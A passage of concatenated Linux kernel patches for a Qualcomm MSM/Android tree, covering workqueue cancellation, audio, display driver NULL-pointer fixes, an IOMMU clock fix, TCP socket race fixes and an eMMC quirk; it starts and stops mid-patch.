deletions(-) diff --git a/include/linux/workqueue.h b/include/linux/workqueue.h index 623488fdc1f5e..7f0f4eac14845 100644 --- a/include/linux/workqueue.h +++ b/include/linux/workqueue.h @@ -71,7 +71,8 @@ enum { /* data contains off-queue information when !WORK_STRUCT_PWQ */ WORK_OFFQ_FLAG_BASE = WORK_STRUCT_COLOR_SHIFT, - WORK_OFFQ_CANCELING = (1 << WORK_OFFQ_FLAG_BASE), + __WORK_OFFQ_CANCELING = WORK_OFFQ_FLAG_BASE, + WORK_OFFQ_CANCELING = (1 << __WORK_OFFQ_CANCELING), /* * When a work item is off queue, its high bits point to the last diff --git a/kernel/workqueue.c b/kernel/workqueue.c index 0f7d9a13dc8b1..c607473ee7462 100644 --- a/kernel/workqueue.c +++ b/kernel/workqueue.c @@ -2876,19 +2876,57 @@ bool flush_work(struct work_struct *work) } EXPORT_SYMBOL_GPL(flush_work); +struct cwt_wait { + wait_queue_t wait; + struct work_struct *work; +}; + +static int cwt_wakefn(wait_queue_t *wait, unsigned mode, int sync, void *key) +{ + struct cwt_wait *cwait = container_of(wait, struct cwt_wait, wait); + + if (cwait->work != key) + return 0; + return autoremove_wake_function(wait, mode, sync, key); +} + static bool __cancel_work_timer(struct work_struct *work, bool is_dwork) { + static DECLARE_WAIT_QUEUE_HEAD(cancel_waitq); unsigned long flags; int ret; do { ret = try_to_grab_pending(work, is_dwork, &flags); /* - * If someone else is canceling, wait for the same event it - * would be waiting for before retrying. + * If someone else is already canceling, wait for it to + * finish. flush_work() doesn't work for PREEMPT_NONE + * because we may get scheduled between @work's completion + * and the other canceling task resuming and clearing + * CANCELING - flush_work() will return false immediately + * as @work is no longer busy, try_to_grab_pending() will + * return -ENOENT as @work is still being canceled and the + * other canceling task won't be able to clear CANCELING as + * we're hogging the CPU. + * + * Let's wait for completion using a waitqueue. As this + * may lead to the thundering herd problem, use a custom + * wake function which matches @work along with exclusive + * wait and wakeup. */ - if (unlikely(ret == -ENOENT)) - flush_work(work); + if (unlikely(ret == -ENOENT)) { + struct cwt_wait cwait; + + init_wait(&cwait.wait); + cwait.wait.func = cwt_wakefn; + cwait.work = work; + + prepare_to_wait_exclusive(&cancel_waitq, &cwait.wait, + TASK_UNINTERRUPTIBLE); + if (work_is_canceling(work)) + schedule(); + finish_wait(&cancel_waitq, &cwait.wait); + } } while (unlikely(ret < 0)); /* tell other tasks trying to grab @work to back off */ @@ -2897,6 +2935,16 @@ static bool __cancel_work_timer(struct work_struct *work, bool is_dwork) flush_work(work); clear_work_data(work); + + /* + * Paired with prepare_to_wait() above so that either + * waitqueue_active() is visible here or !work_is_canceling() is + * visible there. + */ + smp_mb(); + if (waitqueue_active(&cancel_waitq)) + __wake_up(&cancel_waitq, TASK_NORMAL, 1, work); + return ret; } From dedd5e8e62e73cac57a2cc0e5a1a48332d8b5441 Mon Sep 17 00:00:00 2001 From: Banajit Goswami Date: Tue, 9 Dec 2014 15:36:47 -0800 Subject: [PATCH 091/365] ASoC: msm: qdsp6v2: send right stream ID to DSP for FLAC For flac format, when starting the next track, right stream ID need to be send to DSP as part of ASM command to update media format. Unless the new stream ID is sent, DSP will try to apply the configs to the old stream ID and will eventually timeout. CRs-Fixed: 767487 Change-Id: Ie8e3b0d1ee9c819f24b01e6a5eb1f70ea5f7f828 Signed-off-by: Banajit Goswami --- sound/soc/msm/qdsp6v2/q6asm.c | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/sound/soc/msm/qdsp6v2/q6asm.c b/sound/soc/msm/qdsp6v2/q6asm.c index aa6a37d03a5e3..6e0f62d0b199d 100644 --- a/sound/soc/msm/qdsp6v2/q6asm.c +++ b/sound/soc/msm/qdsp6v2/q6asm.c @@ -3651,10 +3651,11 @@ int q6asm_stream_media_format_block_flac(struct audio_client *ac, struct asm_flac_fmt_blk_v2 fmt; int rc = 0; - pr_debug("%s :session[%d]rate[%d]ch[%d]size[%d]\n", __func__, - ac->session, cfg->sample_rate, cfg->ch_cfg, cfg->sample_size); + pr_debug("%s :session[%d] rate[%d] ch[%d] size[%d] stream_id[%d]\n", + __func__, ac->session, cfg->sample_rate, cfg->ch_cfg, + cfg->sample_size, stream_id); - q6asm_add_hdr(ac, &fmt.hdr, sizeof(fmt), TRUE); + q6asm_stream_add_hdr(ac, &fmt.hdr, sizeof(fmt), TRUE, stream_id); atomic_set(&ac->cmd_state, 1); fmt.hdr.opcode = ASM_DATA_CMD_MEDIA_FMT_UPDATE_V2; From 0c38e52be5733c0c658e7a539831aa74b000b0a5 Mon Sep 17 00:00:00 2001 From: raghavendra ambadas Date: Mon, 18 Jan 2016 12:07:42 +0530 Subject: [PATCH 092/365] msm: mdss: Fix NULL pointer dereferences Fix potential Null pointer dereference while reading panel register in mdp3 driver. Change-Id: I09f35b9b86f2365f8f9e02460e2cdeeb60c7f399 CRs-Fixed: 959057 Signed-off-by: Raghavendra Ambadas --- drivers/video/msm/mdss/mdp3.c | 4 +++- drivers/video/msm/mdss/mdss.h | 3 ++- drivers/video/msm/mdss/mdss_debug.c | 32 ++++++++++++++++++++++------- 3 files changed, 30 insertions(+), 9 deletions(-) diff --git a/drivers/video/msm/mdss/mdp3.c b/drivers/video/msm/mdss/mdp3.c index 42005e121f8b4..fcf9cd1f3dcaf 100644 --- a/drivers/video/msm/mdss/mdp3.c +++ b/drivers/video/msm/mdss/mdp3.c @@ -1,4 +1,4 @@ -/* Copyright (c) 2013-2015, The Linux Foundation. All rights reserved. +/* Copyright (c) 2013-2016, The Linux Foundation. All rights reserved. * Copyright (C) 2007 Google Incorporated * * This software is licensed under the terms of the GNU General Public @@ -2293,6 +2293,7 @@ static int mdp3_panel_register_done(struct mdss_panel_data *pdata) if (pdata->panel_info.cont_splash_enabled == false) mdp3_res->allow_iommu_update = true; + mdss_res->pdata = pdata; return rc; } @@ -2350,6 +2351,7 @@ static int mdp3_debug_init(struct platform_device *pdev) mdss_res = mdata; mdata->debug_inf.debug_enable_clock = mdp3_debug_enable_clock; + mdata->mdp_rev = mdp3_res->mdp_rev; rc = mdss_debugfs_init(mdata); if (rc) diff --git a/drivers/video/msm/mdss/mdss.h b/drivers/video/msm/mdss/mdss.h index 14b80a2ca6d32..5308acbdd7b5a 100644 --- a/drivers/video/msm/mdss/mdss.h +++ b/drivers/video/msm/mdss/mdss.h @@ -1,4 +1,4 @@ -/* Copyright (c) 2012-2014, The Linux Foundation. All rights reserved. +/* Copyright (c) 2012-2016, The Linux Foundation. All rights reserved. * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 and @@ -124,6 +124,7 @@ struct mdss_data_type { struct regulator *batfet; u32 max_mdp_clk_rate; struct mdss_util_intf *mdss_util; + struct mdss_panel_data *pdata; struct platform_device *pdev; struct dss_io_data mdss_io; diff --git a/drivers/video/msm/mdss/mdss_debug.c b/drivers/video/msm/mdss/mdss_debug.c index f7f2101b9324f..ed1bd0ed6b406 100644 --- a/drivers/video/msm/mdss/mdss_debug.c +++ b/drivers/video/msm/mdss/mdss_debug.c @@ -1,4 +1,4 @@ -/* Copyright (c) 2009-2014, The Linux Foundation. All rights reserved. +/* Copyright (c) 2009-2016, The Linux Foundation. All rights reserved. * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 and @@ -37,6 +37,8 @@ #define PANEL_TX_MAX_BUF 64 #define PANEL_CMD_MIN_TX_COUNT 2 #define PANEL_DATA_NODE_LEN 80 +/* MDP3 HW Version */ +#define MDP_CORE_HW_VERSION 0x03050306 static char panel_reg[2] = {DEFAULT_READ_PANEL_POWER_MODE_REG, 0x00}; @@ -133,9 +135,8 @@ static ssize_t panel_debug_base_reg_write(struct file *file, struct mdss_data_type *mdata = mdss_res; struct mdss_mdp_ctl *ctl = mdata->ctl_off + 0; - struct mdss_panel_data *panel_data = ctl->panel_data; - struct mdss_dsi_ctrl_pdata *ctrl_pdata = container_of(panel_data, - struct mdss_dsi_ctrl_pdata, panel_data); + struct mdss_panel_data *panel_data = NULL; + struct mdss_dsi_ctrl_pdata *ctrl_pdata = NULL; struct dsi_cmd_desc dsi_write_cmd = { {DTYPE_GEN_LWRITE, 1, 0, 0, 0, 0/*len*/}, reg}; @@ -156,6 +157,15 @@ static ssize_t panel_debug_base_reg_write(struct file *file, if (copy_from_user(buf, user_buf, count)) return -EFAULT; + if ((mdata->mdp_rev <= MDSS_MDP_HW_REV_105) || + (mdata->mdp_rev == MDP_CORE_HW_VERSION)) + panel_data = mdss_res->pdata; + else + panel_data = ctl->panel_data; + + ctrl_pdata = container_of(panel_data, + struct mdss_dsi_ctrl_pdata, panel_data); + buf[count] = 0; /* end of string */ len = count / 3; @@ -198,9 +208,8 @@ static ssize_t panel_debug_base_reg_read(struct file *file, char rx_buf[PANEL_RX_MAX_BUF] = {0x0}; struct mdss_data_type *mdata = mdss_res; struct mdss_mdp_ctl *ctl = mdata->ctl_off + 0; - struct mdss_panel_data *panel_data = ctl->panel_data; - struct mdss_dsi_ctrl_pdata *ctrl_pdata = container_of(panel_data, - struct mdss_dsi_ctrl_pdata, panel_data); + struct mdss_panel_data *panel_data = NULL; + struct mdss_dsi_ctrl_pdata *ctrl_pdata = NULL; if (!dbg) return -ENODEV; @@ -212,6 +221,15 @@ static ssize_t panel_debug_base_reg_read(struct file *file, mdata->debug_inf.debug_enable_clock(1); panel_reg[0] = dbg->off; + if ((mdata->mdp_rev <= MDSS_MDP_HW_REV_105) || + (mdata->mdp_rev == MDP_CORE_HW_VERSION)) + panel_data = mdss_res->pdata; + else + panel_data = ctl->panel_data; + + ctrl_pdata = container_of(panel_data, + struct mdss_dsi_ctrl_pdata, panel_data); + mdss_dsi_panel_cmd_read(ctrl_pdata, panel_reg[0], panel_reg[1], NULL, rx_buf, dbg->cnt); From 2dde4fdf6f687109e4fffdfd1d7dc57221ba8953 Mon Sep 17 00:00:00 2001 From: Nirmal Abraham Date: Tue, 19 Jan 2016 12:00:59 +0530 Subject: [PATCH 093/365] Revert "msm: mdss: Fix underrun while rotator is used" This reverts commit bd52eaa8745678c459675b1f16bb9fc40d6eee34. Change-Id: Iefcfc14ddde9fc1eb71322a8a1536166fb0fcacf Signed-off-by: Nirmal Abraham --- drivers/video/msm/mdss/mdss_mdp.h | 1 - drivers/video/msm/mdss/mdss_mdp_ctl.c | 14 ++------------ drivers/video/msm/mdss/mdss_mdp_rotator.c | 11 ----------- 3 files changed, 2 insertions(+), 24 deletions(-) diff --git a/drivers/video/msm/mdss/mdss_mdp.h b/drivers/video/msm/mdss/mdss_mdp.h index b5f9f56820918..dbb4c8837be95 100644 --- a/drivers/video/msm/mdss/mdss_mdp.h +++ b/drivers/video/msm/mdss/mdss_mdp.h @@ -211,7 +211,6 @@ struct mdss_mdp_ctl { struct mdss_mdp_perf_params new_perf; u32 perf_transaction_status; bool perf_release_ctl_bw; - u64 bw_pending; bool traffic_shaper_enabled; u32 traffic_shaper_mdp_clk; diff --git a/drivers/video/msm/mdss/mdss_mdp_ctl.c b/drivers/video/msm/mdss/mdss_mdp_ctl.c index 3b1876d79cd50..22d8a0a0914fe 100644 --- a/drivers/video/msm/mdss/mdss_mdp_ctl.c +++ b/drivers/video/msm/mdss/mdss_mdp_ctl.c @@ -929,8 +929,7 @@ int mdss_mdp_perf_bw_check(struct mdss_mdp_ctl *ctl, { struct mdss_data_type *mdata = ctl->mdata; struct mdss_mdp_perf_params perf; - u32 bw, threshold, i; - u64 bw_sum_of_intfs = 0; + u32 bw, threshold; /* we only need bandwidth check on real-time clients (interfaces) */ if (ctl->intf_type == MDSS_MDP_NO_INTF) @@ -939,18 +938,9 @@ int mdss_mdp_perf_bw_check(struct mdss_mdp_ctl *ctl, __mdss_mdp_perf_calc_ctl_helper(ctl, &perf, left_plist, left_cnt, right_plist, right_cnt, PERF_CALC_PIPE_CALC_SMP_SIZE); - ctl->bw_pending = perf.bw_ctl; - - for (i = 0; i < mdata->nctl; i++) { - struct mdss_mdp_ctl *temp = mdata->ctl_off + i; - if (temp->power_state == MDSS_PANEL_POWER_ON) { - bw_sum_of_intfs += temp->bw_pending; - temp->bw_pending = 0; - } - } /* convert bandwidth to kb */ - bw = DIV_ROUND_UP_ULL(bw_sum_of_intfs, 1000); + bw = DIV_ROUND_UP_ULL(perf.bw_ctl, 1000); pr_debug("calculated bandwidth=%uk\n", bw); threshold = ctl->is_video_mode ? mdata->max_bw_low : mdata->max_bw_high; diff --git a/drivers/video/msm/mdss/mdss_mdp_rotator.c b/drivers/video/msm/mdss/mdss_mdp_rotator.c index 757a0b7461503..9c41213d76a40 100644 --- a/drivers/video/msm/mdss/mdss_mdp_rotator.c +++ b/drivers/video/msm/mdss/mdss_mdp_rotator.c @@ -500,8 +500,6 @@ int mdss_mdp_rotator_setup(struct msm_fb_data_type *mfd, struct mdss_overlay_private *mdp5_data = mfd_to_mdp5_data(mfd); struct mdss_mdp_rotator_session *rot = NULL; struct mdss_mdp_format_params *fmt; - struct mdss_mdp_pipe *pipe; - struct mdss_mdp_perf_params perf; u32 bwc_enabled; bool format_changed = false; int ret = 0; @@ -621,15 +619,6 @@ int mdss_mdp_rotator_setup(struct msm_fb_data_type *mfd, goto rot_err; req->id = rot->session_id; - pipe = rot->pipe; - if (pipe && !(pipe->flags & MDP_SECURE_OVERLAY_SESSION) && - pipe->mixer_left && pipe->mixer_left->ctl) { - struct mdss_mdp_ctl *ctl; - ctl = rot->pipe->mixer_left->ctl; - mdss_mdp_perf_calc_pipe(pipe, &perf, NULL, - PERF_CALC_PIPE_SINGLE_LAYER); - ctl->bw_pending = perf.bw_overlap; - } rot_err: if (ret) { From 7a38fccf69950cb4c2cd750ddb9be5d8e7c5dc45 Mon Sep 17 00:00:00 2001 From: Chintan Pandya Date: Wed, 22 Apr 2015 15:40:35 +0530 Subject: [PATCH 094/365] iommu: msm: Fix unclocked register access from fault handler Now that non-secure CB faults also gets routed to secure fault handler (when IOMMU is secure), we need to ensure that custom fault handler also gets an access with clock enabled. This was the BUG but no one earlier called custom fault handler from secure fault handler and remained uncaught. Fix it by maintaining clock until we return. Also, ensure that only for valid FSR values we enter and invoke custom fault handlers. Change-Id: I9f883c96a8fc05409d5670c35c86301fab6c2f8c Signed-off-by: Chintan Pandya --- drivers/iommu/msm_iommu_sec.c | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/drivers/iommu/msm_iommu_sec.c b/drivers/iommu/msm_iommu_sec.c index f19cd51c117dc..9d09f27736d5b 100644 --- a/drivers/iommu/msm_iommu_sec.c +++ b/drivers/iommu/msm_iommu_sec.c @@ -286,12 +286,11 @@ irqreturn_t msm_iommu_secure_fault_handler_v2(int irq, void *dev_id) iommu_access_ops->iommu_clk_on(drvdata); tmp = msm_iommu_dump_fault_regs(drvdata->sec_id, ctx_drvdata->num, regs); - iommu_access_ops->iommu_clk_off(drvdata); if (tmp) { pr_err("%s: Couldn't dump fault registers (%d) %s, ctx: %d\n", __func__, tmp, drvdata->name, ctx_drvdata->num); - goto free_regs; + goto clock_off; } else { struct msm_iommu_context_reg ctx_regs[MAX_DUMP_REGS]; memset(ctx_regs, 0, sizeof(ctx_regs)); @@ -300,7 +299,7 @@ irqreturn_t msm_iommu_secure_fault_handler_v2(int irq, void *dev_id) if (tmp < 0) { ret = IRQ_NONE; pr_err("Incorrect response from secure environment\n"); - goto free_regs; + goto clock_off; } if (ctx_regs[DUMP_REG_FSR].val) { @@ -332,6 +331,8 @@ irqreturn_t msm_iommu_secure_fault_handler_v2(int irq, void *dev_id) ret = IRQ_NONE; } } +clock_off: + iommu_access_ops->iommu_clk_off(drvdata); free_regs: kfree(regs); lock_release: From 56cc8ed0ea9a663acc5c51fe2b6d9d44241b37fe Mon Sep 17 00:00:00 2001 From: Lorenzo Colitti Date: Tue, 15 Sep 2015 00:14:23 +0900 Subject: [PATCH 095/365] Fix NULL pointer dereference in tcp_nuke_addr. tcp_nuke addr only grabs the bottom half socket lock, but not the userspace socket lock. This allows a userspace program to call close() while the socket is running, which causes a NULL pointer dereference in inet_put_port. Bug: 23663111 Bug: 24072792 Change-Id: Iecb63af68c2db4764c74785153d1c9054f76b94f Signed-off-by: Lorenzo Colitti Signed-off-by: Sourabh Banerjee Signed-off-by: Swetha Chikkaboraiah --- net/ipv4/tcp.c | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/net/ipv4/tcp.c b/net/ipv4/tcp.c index 9a0a01f1d5f9a..536fac950c770 100644 --- a/net/ipv4/tcp.c +++ b/net/ipv4/tcp.c @@ -3583,14 +3583,17 @@ int tcp_nuke_addr(struct net *net, struct sockaddr *addr) sock_hold(sk); spin_unlock_bh(lock); + lock_sock(sk); + // TODO: + // Check for SOCK_DEAD again, it could have changed. + // Add a write barrier, see tcp_reset(). local_bh_disable(); - bh_lock_sock(sk); sk->sk_err = ETIMEDOUT; sk->sk_error_report(sk); tcp_done(sk); - bh_unlock_sock(sk); local_bh_enable(); + release_sock(sk); sock_put(sk); goto restart; From a5d025b41d2ebc21d71b8c9a29f8b180418f32da Mon Sep 17 00:00:00 2001 From: Lorenzo Colitti Date: Mon, 9 Nov 2015 22:36:10 +0900 Subject: [PATCH 096/365] net: tcp: check for SOCK_DEAD again in tcp_nuke_addr Liping Zhang spotted a race between tcp_nuke_addr and tcp_close that can cause a crash. If a userspace process calls tcp_close on a socket at the same time that tcp_nuke_addr is closing it, and tcp_close wins the race to call lock_sock, it will call sock_orphan before releasing the lock. sock_orphan sets the SOCK_DEAD flag on the socket and proceeds to close it, eventually calling inet_csk_destroy_sock. When tcp_nuke_addr gets the socket lock, it calls tcp_done. But if tcp_done sees the SOCK_DEAD flag, it calls inet_csk_destroy_sock as well, resulting in a double free. Fix this by checking for SOCK_DEAD again after lock_sock succeeds. Eric had already pointed out that this could be a problem in b/23663111, so there was already a TODO in the code for this. Change-Id: I0c87c3fd0598384d957b69734366bd4e2fd7e8d7 Git-commit: 61469ddc534f255c709349a1a611216ecd07e13d Git-repo: https://android.googlesource.com/kernel/common/ Signed-off-by: Subash Abhinov Kasiviswanathan Signed-off-by: Swetha Chikkaboraiah --- net/ipv4/tcp.c | 15 +++++++++------ 1 file changed, 9 insertions(+), 6 deletions(-) diff --git a/net/ipv4/tcp.c b/net/ipv4/tcp.c index 536fac950c770..65fd0484cbed6 100644 --- a/net/ipv4/tcp.c +++ b/net/ipv4/tcp.c @@ -3584,14 +3584,17 @@ int tcp_nuke_addr(struct net *net, struct sockaddr *addr) spin_unlock_bh(lock); lock_sock(sk); - // TODO: - // Check for SOCK_DEAD again, it could have changed. - // Add a write barrier, see tcp_reset(). local_bh_disable(); - sk->sk_err = ETIMEDOUT; - sk->sk_error_report(sk); + bh_lock_sock(sk); - tcp_done(sk); + if (!sock_flag(sk, SOCK_DEAD)) { + smp_wmb(); /* be consistent with tcp_reset */ + sk->sk_err = ETIMEDOUT; + sk->sk_error_report(sk); + tcp_done(sk); + } + + bh_unlock_sock(sk); local_bh_enable(); release_sock(sk); sock_put(sk); From 3475f7fa6afb551749f8a544e0cd3a1a589926a1 Mon Sep 17 00:00:00 2001 From: Nirmal Abraham Date: Thu, 21 Jan 2016 12:21:38 +0530 Subject: [PATCH 097/365] Revert "msm: mdss: send dsi data and command independently" This reverts commit 7b1a9e1f58729b73e8dc4c04ab07f9e15963091b. Change-Id: I9b5b95afd756c927b774b52361ec45f009794907 Signed-off-by: Nirmal Abraham --- drivers/video/msm/mdss/mdss_dsi.h | 2 -- drivers/video/msm/mdss/mdss_dsi_cmd.c | 7 +---- drivers/video/msm/mdss/mdss_dsi_host.c | 42 +++++++------------------- 3 files changed, 12 insertions(+), 39 deletions(-) diff --git a/drivers/video/msm/mdss/mdss_dsi.h b/drivers/video/msm/mdss/mdss_dsi.h index 21ae041254203..19ca4c4032a2e 100644 --- a/drivers/video/msm/mdss/mdss_dsi.h +++ b/drivers/video/msm/mdss/mdss_dsi.h @@ -393,7 +393,6 @@ struct mdss_dsi_ctrl_pdata { int mdp_busy; struct mutex mutex; struct mutex cmd_mutex; - struct mutex cmdlist_mutex; struct mutex clk_lane_mutex; u32 ulps_clamp_ctrl_off; @@ -402,7 +401,6 @@ struct mdss_dsi_ctrl_pdata { bool core_power; bool mmss_clamp; bool timing_db_mode; - bool burst_mode_enabled; struct dsi_buf tx_buf; struct dsi_buf rx_buf; diff --git a/drivers/video/msm/mdss/mdss_dsi_cmd.c b/drivers/video/msm/mdss/mdss_dsi_cmd.c index 72e24d2f07adc..f233589d5de68 100644 --- a/drivers/video/msm/mdss/mdss_dsi_cmd.c +++ b/drivers/video/msm/mdss/mdss_dsi_cmd.c @@ -1,4 +1,4 @@ -/* Copyright (c) 2012-2015, The Linux Foundation. All rights reserved. +/* Copyright (c) 2012-2014, The Linux Foundation. All rights reserved. * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 and @@ -653,7 +653,6 @@ struct dcs_cmd_req *mdss_dsi_cmdlist_get(struct mdss_dsi_ctrl_pdata *ctrl) struct dcs_cmd_list *clist; struct dcs_cmd_req *req = NULL; - mutex_lock(&ctrl->cmdlist_mutex); clist = &ctrl->cmdlist; if (clist->get != clist->put) { req = &clist->list[clist->get]; @@ -663,7 +662,6 @@ struct dcs_cmd_req *mdss_dsi_cmdlist_get(struct mdss_dsi_ctrl_pdata *ctrl) pr_debug("%s: tot=%d put=%d get=%d\n", __func__, clist->tot, clist->put, clist->get); } - mutex_unlock(&ctrl->cmdlist_mutex); return req; } @@ -675,7 +673,6 @@ int mdss_dsi_cmdlist_put(struct mdss_dsi_ctrl_pdata *ctrl, int ret = 0; mutex_lock(&ctrl->cmd_mutex); - mutex_lock(&ctrl->cmdlist_mutex); clist = &ctrl->cmdlist; req = &clist->list[clist->put]; *req = *cmdreq; @@ -694,8 +691,6 @@ int mdss_dsi_cmdlist_put(struct mdss_dsi_ctrl_pdata *ctrl, pr_debug("%s: tot=%d put=%d get=%d\n", __func__, clist->tot, clist->put, clist->get); - mutex_unlock(&ctrl->cmdlist_mutex); - if (req->flags & CMD_REQ_COMMIT) { if (!ctrl->cmdlist_commit) pr_err("cmdlist_commit not implemented!\n"); diff --git a/drivers/video/msm/mdss/mdss_dsi_host.c b/drivers/video/msm/mdss/mdss_dsi_host.c index 90e181da09636..2047c68356a65 100644 --- a/drivers/video/msm/mdss/mdss_dsi_host.c +++ b/drivers/video/msm/mdss/mdss_dsi_host.c @@ -107,7 +107,6 @@ void mdss_dsi_ctrl_init(struct device *ctrl_dev, mutex_init(&ctrl->mutex); mutex_init(&ctrl->cmd_mutex); mutex_init(&ctrl->clk_lane_mutex); - mutex_init(&ctrl->cmdlist_mutex); mdss_dsi_buf_alloc(ctrl_dev, &ctrl->tx_buf, SZ_4K); mdss_dsi_buf_alloc(ctrl_dev, &ctrl->rx_buf, SZ_4K); mdss_dsi_buf_alloc(ctrl_dev, &ctrl->status_buf, SZ_4K); @@ -1032,7 +1031,7 @@ static void mdss_dsi_mode_setup(struct mdss_panel_data *pdata) u32 ystride, bpp, dst_bpp; u32 stream_ctrl, stream_total; u32 dummy_xres = 0, dummy_yres = 0; - u32 hsync_period, vsync_period, reg = 0; + u32 hsync_period, vsync_period; ctrl_pdata = container_of(pdata, struct mdss_dsi_ctrl_pdata, panel_data); @@ -1106,13 +1105,6 @@ static void mdss_dsi_mode_setup(struct mdss_panel_data *pdata) stream_total = height << 16 | width; } - /* Enable frame transfer in burst mode */ - if (ctrl_pdata->hw_rev >= MDSS_DSI_HW_REV_103) { - reg = MIPI_INP(ctrl_pdata->ctrl_base + 0x1b8); - reg = reg | BIT(16); - MIPI_OUTP((ctrl_pdata->ctrl_base + 0x1b8), reg); - ctrl_pdata->burst_mode_enabled = 1; - } /* DSI_COMMAND_MODE_MDP_STREAM_CTRL */ MIPI_OUTP((ctrl_pdata->ctrl_base) + 0x60, stream_ctrl); MIPI_OUTP((ctrl_pdata->ctrl_base) + 0x58, stream_ctrl); @@ -2028,43 +2020,31 @@ int mdss_dsi_cmdlist_commit(struct mdss_dsi_ctrl_pdata *ctrl, int from_mdp) struct mdss_rect *roi = NULL; int ret = -EINVAL; int rc = 0; - bool cmd_mutex_acquired = false; if (mdss_get_sd_client_cnt()) return -EPERM; if (from_mdp) { /* from mdp kickoff */ - if (!ctrl->burst_mode_enabled) { - mutex_lock(&ctrl->cmd_mutex); - cmd_mutex_acquired = true; - } + mutex_lock(&ctrl->cmd_mutex); pinfo = &ctrl->panel_data.panel_info; if (pinfo->partial_update_enabled) roi = &pinfo->roi; } req = mdss_dsi_cmdlist_get(ctrl); - if (req && from_mdp && ctrl->burst_mode_enabled) { - mutex_lock(&ctrl->cmd_mutex); - cmd_mutex_acquired = true; - } MDSS_XLOG(ctrl->ndx, from_mdp, ctrl->mdp_busy, current->pid, XLOG_FUNC_ENTRY); if (req == NULL) goto need_lock; - if (!ctrl->burst_mode_enabled || from_mdp) { - /* make sure dsi_cmd_mdp is idle when - * burst mode is not enabled - */ - rc = mdss_dsi_cmd_mdp_busy(ctrl); - if (rc) { - pr_err("%s: mdp busy timeout\n", __func__); - if (from_mdp) - mutex_unlock(&ctrl->cmd_mutex); - return rc; - } + /* make sure dsi_cmd_mdp is idle */ + rc = mdss_dsi_cmd_mdp_busy(ctrl); + if (rc) { + pr_err("%s: mdp busy timeout\n", __func__); + if (from_mdp) + mutex_unlock(&ctrl->cmd_mutex); + return rc; } pr_debug("%s: ctrl=%d from_mdp=%d pid=%d\n", __func__, @@ -2150,8 +2130,8 @@ int mdss_dsi_cmdlist_commit(struct mdss_dsi_ctrl_pdata *ctrl, int from_mdp) */ if (!roi || (roi->w != 0 || roi->h != 0)) mdss_dsi_cmd_mdp_start(ctrl); - if (cmd_mutex_acquired) - mutex_unlock(&ctrl->cmd_mutex); + + mutex_unlock(&ctrl->cmd_mutex); } else { /* from dcs send */ if (ctrl->cmd_clk_ln_recovery_en && ctrl->panel_mode == DSI_CMD_MODE && From 8598c1ea670cf738fa069af14740f0b2cfeca31e Mon Sep 17 00:00:00 2001 From: xiaonian Date: Thu, 16 Jul 2015 14:39:32 +0800 Subject: [PATCH 098/365] mmc: core: set REL_WR_SEC_C register to 0x1 per eMMC 5.0 spec Some eMMC vendors violate eMMC 5.0 spec and set REL_WR_SEC_C register to 0x10 to indicate the ability of RPMB throughput improvement thus lead to failure when TZ module write data to RPMB partition. This change will check bit[4] of EXT_CSD[166] and if it is not set then change value of REL_WR_SEC_C to 0x1 directly ignoring value of EXT_CSD[222]. CRs-Fixed: 866059 Change-Id: Ibd12c94ad691eca1fa3ea2049b750a6e98178678 Signed-off-by: xiaonian --- drivers/mmc/core/mmc.c | 12 ++++++++++++ include/linux/mmc/mmc.h | 1 + 2 files changed, 13 insertions(+) diff --git a/drivers/mmc/core/mmc.c b/drivers/mmc/core/mmc.c index 4857c7ff2eb78..5416db4268e1f 100644 --- a/drivers/mmc/core/mmc.c +++ b/drivers/mmc/core/mmc.c @@ -551,6 +551,18 @@ static int mmc_read_ext_csd(struct mmc_card *card, u8 *ext_csd) card->ext_csd.rel_param = ext_csd[EXT_CSD_WR_REL_PARAM]; card->ext_csd.rst_n_function = ext_csd[EXT_CSD_RST_N_FUNCTION]; + /* + * Some eMMC vendors violate eMMC 5.0 spec and set + * REL_WR_SEC_C register to 0x10 to indicate the + * ability of RPMB throughput improvement thus lead + * to failure when TZ module write data to RPMB + * partition. So check bit[4] of EXT_CSD[166] and + * if it is not set then change value of REL_WR_SEC_C + * to 0x1 directly ignoring value of EXT_CSD[222]. + */ + if (!(card->ext_csd.rel_param & EXT_CSD_WR_REL_PARAM_EN_RPMB)) + card->ext_csd.rel_sectors = 0x1; + /* * RPMB regions are defined in multiples of 128K. */ diff --git a/include/linux/mmc/mmc.h b/include/linux/mmc/mmc.h index ef7337985da50..addf849db89d5 100644 --- a/include/linux/mmc/mmc.h +++ b/include/linux/mmc/mmc.h @@ -283,6 +283,7 @@ struct _mmc_csd { */ #define EXT_CSD_WR_REL_PARAM_EN (1<<2) +#define EXT_CSD_WR_REL_PARAM_EN_RPMB (1<<4) #define EXT_CSD_BOOT_WP_B_PWR_WP_DIS (0x40) #define EXT_CSD_BOOT_WP_B_PERM_WP_DIS (0x10) From 207a61b382b9916b9e10159463679b34d7a75cb9 Mon Sep 17 00:00:00 2001 From: Viraja Kommaraju Date: Thu, 21 Jan 2016 12:47:35 +0530 Subject: [PATCH 099/365] ASoC: msm: Add DPAM Widgets for dmic Add DAPM widget controls for digital mic. Change-Id: Ib5b58e1fe8279aebb755d2c48bc0078131b0dca0 Signed-off-by: Viraja Kommaraju --- sound/soc/msm/msm8x16.c | 17 ++++++++++++++++- 1 file changed, 16 insertions(+), 1 deletion(-) mode change 100755 => 100644 sound/soc/msm/msm8x16.c diff --git a/sound/soc/msm/msm8x16.c b/sound/soc/msm/msm8x16.c old mode 100755 new mode 100644 index 546794d7c6462..db35f4d0f9c99 --- a/sound/soc/msm/msm8x16.c +++ b/sound/soc/msm/msm8x16.c @@ -1,4 +1,4 @@ - /* Copyright (c) 2014-2015, The Linux Foundation. All rights reserved. + /* Copyright (c) 2014-2016, The Linux Foundation. All rights reserved. * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 and @@ -447,8 +447,10 @@ static const struct snd_soc_dapm_widget msm8x16_dapm_widgets[] = { SND_SOC_DAPM_MIC("Handset Mic", NULL), SND_SOC_DAPM_MIC("Headset Mic", NULL), SND_SOC_DAPM_MIC("Secondary Mic", NULL), + SND_SOC_DAPM_MIC("Digital Mic0", NULL), SND_SOC_DAPM_MIC("Digital Mic1", NULL), SND_SOC_DAPM_MIC("Digital Mic2", NULL), + SND_SOC_DAPM_MIC("Digital Mic3", 